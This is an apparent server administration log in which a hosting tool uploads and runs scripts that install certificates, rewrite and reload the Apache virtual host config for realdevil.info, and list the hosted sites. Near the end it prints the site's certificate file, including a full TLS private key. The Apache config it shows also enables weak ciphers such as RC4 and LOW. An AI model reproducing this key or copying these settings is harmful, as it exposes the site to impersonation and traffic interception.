cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-14 06:00:30: 

chmod 755 /tmp/pkp919141; /tmp/pkp919141; rm /tmp/pkp919141

2026-06-14 06:00:30: 


dir=/etc/ssl/certs


2026-06-14 06:00:30: 

PUT: /tmp/pkp887075

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/realdevil_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-14 06:00:30: 

chmod 755 /tmp/pkp887075; /tmp/pkp887075; rm /tmp/pkp887075

2026-06-14 06:00:30: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realdevil_www_info.conf 42

<VirtualHost *:80>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-14 06:00:30: 

PUT: /tmp/pkp455819

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=realdevil_www_info.conf
TARGET=/etc/apache2/sites-enabled/realdevil_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/realdevil_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/realdevil_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/realdevil_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/realdevil_www_info.conf= 1'
fi


2026-06-14 06:00:30: 

chmod 755 /tmp/pkp455819; /tmp/pkp455819; rm /tmp/pkp455819

2026-06-14 06:00:30: 




2026-06-14 06:00:30: 

PUT: /tmp/pkp729817

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-14 06:00:30: 

chmod 755 /tmp/pkp729817; /tmp/pkp729817; rm /tmp/pkp729817

2026-06-14 06:00:30: 


.


2026-06-14 06:00:30: Establishing a connection
2026-06-14 06:00:30: 

PUT: /tmp/pkp886992

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-14 06:00:30: 

chmod 755 /tmp/pkp886992; /tmp/pkp886992; rm /tmp/pkp886992

2026-06-14 06:00:31: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-06-14 06:00:31: 

PUT: /tmp/pkp335204

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/realdevil_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-14 06:00:31: 

chmod 755 /tmp/pkp335204; /tmp/pkp335204; rm /tmp/pkp335204

2026-06-14 06:00:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realdevil_www_info.conf	1381

<VirtualHost *:80>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-14 06:00:31: 

PUT: /tmp/pkp822769

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-14 06:00:31: 

chmod 755 /tmp/pkp822769; /tmp/pkp822769; rm /tmp/pkp822769

2026-06-14 06:00:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem	7444
55:fc:be:d6:42:43:83:42:5f:2a:00:a0:38:5d:b5:af

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBSm0Qpx2VBhOO2aFQQeVcX5TMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjE0MDUwMTU4WhcNMjYwOTEyMDUwMTU3WjAZMRcwFQYDVQQD
Ew5yZWFsZGV2aWwuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ANcD3+3+ZesV5NRPLPnn03IjUwPK+U7yoiJcXeXw3dVqLiyZlvE4+ONbhu2y6FR0
WZatcY4lyrx5Uu+mX9kM51mO6AooQ2ARNUEHJzgdsx1pyZIgLTwVwCJCj6rUkVkB
OarJUpF0xe4DJPZv+kTnlO5uw3jzuBcCBR5ExwQXrMXAeBiZ08OnXOGlptXiJCOz
aPUV8J+rAi00dIuQ+k7yLKxFKyOTU2o6GZLYolPodKH8beq7hkIFozX9XH6pBcqx
10jUYzuSIc4uhrfR3r5xrzOHka2ieOSAdOhOHdvy73kIcVzOpd84Wf6mo1zQBHCa
JE8QLOPHOnwGlIrF1kdicKUCAwEAAaOCAjEwggItMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBTNmU2E
0LCD12F/3nsUCmJy/58LbjAfBgNVHSMEGDAWgBRAFS0mee0yIJ7fmnId1jIfgQyB
DDAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjIuaS5sZW5j
ci5vcmcvMC0GA1UdEQQmMCSCDnJlYWxkZXZpbC5pbmZvghJ3d3cucmVhbGRldmls
LmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3lyMi5jLmxlbmNyLm9yZy84NC5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7
APkAdwCUTkOH+uzB74HzGSQmqBhlAcfTXzgCAT9yZ31VNy4Z2AAAAZ7Et5+5AAAE
AwBIMEYCIQD8+cU4fjYcwGxHEfYgejukbbA7XD+cbUsEOOYuMRixiQIhAJ/Rl4Wi
ZGBr02OaxSc16FgnlPb+V3tXGAByYrIdNfsKAH4AbP5QGUOoXqkWvFLRM+TcyR7x
QRx9JYQg0XOAnhgY6zoAAAGexLehEQAIAAAFABBnK6EEAwBHMEUCIBZizSlQdIMM
a8TqSz0HKWh6KH8nGrF3JTQ+4WyKaOTnAiEAsyR0IDVVew54H4o7lc+cyjdESXHg
A/K+FHTqFXGtpUUwDQYJKoZIhvcNAQELBQADggEBAJff1MJMXgBXLv3qojluYZjy
pBJPaSF5F4ejjLp66caWW6zAOFrJdjhagRNULuYlxVxUmZodYiNdmbvpI96QauM4
DV5q5N7Jv/LtaFcjsfCjo/XhfCBVbqjVg50BtMpYYrLs/bdF4WPNrtKhCbwjBclP
qE9+4MHWwR0KAkpzqJ0GZ3VITtNtEHkM9kXbLJHaFlGLaJUODxkfMHiHVgR1+75A
yUo7p8iJWfj2R8BfmSXsZjL7heS56AwpFDU/pa2j5/Sz97M9MgvgYS6NhCCZkZvH
oX+7w1SpBdVLjTsJBSGngBEy+FoYRdBzVI/7ExSL9AbqScE4aHuDMtIpg2wRZg0=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDXA9/t/mXrFeTU
Tyz559NyI1MDyvlO8qIiXF3l8N3Vai4smZbxOPjjW4btsuhUdFmWrXGOJcq8eVLv
pl/ZDOdZjugKKENgETVBByc4HbMdacmSIC08FcAiQo+q1JFZATmqyVKRdMXuAyT2
b/pE55TubsN487gXAgUeRMcEF6zFwHgYmdPDp1zhpabV4iQjs2j1FfCfqwItNHSL
kPpO8iysRSsjk1NqOhmS2KJT6HSh/G3qu4ZCBaM1/Vx+qQXKsddI1GM7kiHOLoa3
0d6+ca8zh5GtonjkgHToTh3b8u95CHFczqXfOFn+pqNc0ARwmiRPECzjxzp8BpSK
xdZHYnClAgMBAAECggEAH9vkc5syTCGzr6cGVFvT/3bZzMISgW7U30qDD0MgBjNJ
dt+lzJr90JJgl8Uz75pIfARkba+OhAa7Zzm7vKl7eNBX9B6rJ7I6YHxIL2RshHsx
nC6bBUAjy+/DjIhv+5mBi0YcBI7M6nYaJU8fl34eRIYHqLBUIp9GADTTWE6PEcMs
IioBUb3bJHARQUf8WBizzAda0Oly3X92CasAcqw6RykS/T4BapHTHhLXDdRehhT8
YSUq/noTQrNaecqk8ZOWf2fiYohH86VLKr9nIKTi+e6xBGaX/VJGqdALOKFqoOVm
sjWEw8kALjgu+E44tXs3FjBZ9ykJyt4/EtpM/NHdMQKBgQDylaxRzHphpQOq6tCK
/nUHQXXT2ffTGegs4iO0wxEc8f3zLKbdMprjrlMrXyqv1kJ+SGDukE9wK7IkLwWo
axTLyikaeuaz1E5bbfc6dKimxnw+w5lyYQHLcAlSf+3iwbNLZ1xndaz55VYGagkr
0kV+QHUCOeVDR1aAkDniNxozTwKBgQDi5+S71GYK0XrsK6Ry3VVobmbQCDKKG385
m2jbdCKFf1kfr1TSycMN9ux160QRo+D1V7larrscGgrmInC/FeyfkxlT7+Bn7qE/
AbplBC/tkSuDnxHff76H1B2TEOL5Lo/TMKJARqn1BC4QZ4PJpvrKFZSo5sETMB4D
JdnQy7vvywKBgQCAuwCY3+PJ0WGi370PJX1A/nHinHaw5byZpN/B2wpHy/sxgm6C
T4p2bFniWDw014StswcNUjN1mRqNrQ5Zk4mTo5IwZSvsHiv+xNo/gQzGg+oG/JF/
aw8iwC+SQiUhAh19VDprBL1oV1VRTg/T21/ZYac2KTcKft7elqrA6vDSbQKBgQCh
xh1RQUSjb+jI2vC7KEyNUTEiHsYRqzsQ0ll3JRy7uyjKq1G5mznjCepaxCravNFV
en7fRXaHuZWNsH5b7oCu4MyNCJgg4YS7DDtdbBfTs82nYND4XPZ1luijAsYgTG8k
bicv1nG0C4/gCD1wlwl07N/5b9O2H3c2XVUnRSov8wKBgQCDVe/Z7Wma8nRy+ncL
UkgTsQceqRllNrFYuLtAkawfGa7iErPY9DJ7KIYkrmHkQaYMB84xp8cqzFaMONMM
3g1jNdaYbzrn+r5pWGG+MLN6HpUmMksw2tjhueSGJryJRbyGx0NpDmRo4nM3Bhca
3l1q1ZtH/Zoifx3jYinREM/kzA==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
